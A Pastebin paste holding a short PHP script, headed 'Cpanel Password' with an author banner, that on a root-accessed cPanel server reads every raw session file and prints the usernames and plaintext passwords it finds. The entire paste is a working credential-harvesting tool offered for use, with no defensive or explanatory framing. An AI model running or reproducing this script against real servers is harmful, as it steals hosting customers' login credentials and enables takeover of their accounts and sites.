Advertisement
Guest User

Untitled

a guest
Aug 1st, 2016
127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.78 KB | None | 0 0
  1. #!/usr/local/cpanel/3rdparty/bin/php
  2. <?php
  3.  
  4. if(posix_getuid() != 0){ die('u need 2 be root to run this استبدال script'); }
  5. if(!is_dir('/var/cpanel/')){ die('this server doesn\'t use cpanel'); }
  6.  
  7. echo "[*]-----------------------------------------------------------------------[*]
  8. [+] استبدال Script Name : Cpanel Password
  9. [+] By : RAB3OUN[*]-----------------------------------------------------------------------[*]
  10. \n";
  11.  
  12. foreach(glob('/var/cpanel/sessions/raw/*') as $file){
  13. $content = file_get_contents($file);
  14. if(preg_match("/user=(.*)/" , $content , $matches1) && preg_match("/pass=(.*)/" , $content , $matches2)){
  15. $results[] = "USER: {$matches1[1]}\nPASS: {$matches2[1]}\n\n";
  16. }
  17. }
  18.  
  19. echo implode('',array_unique($results));
  20. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement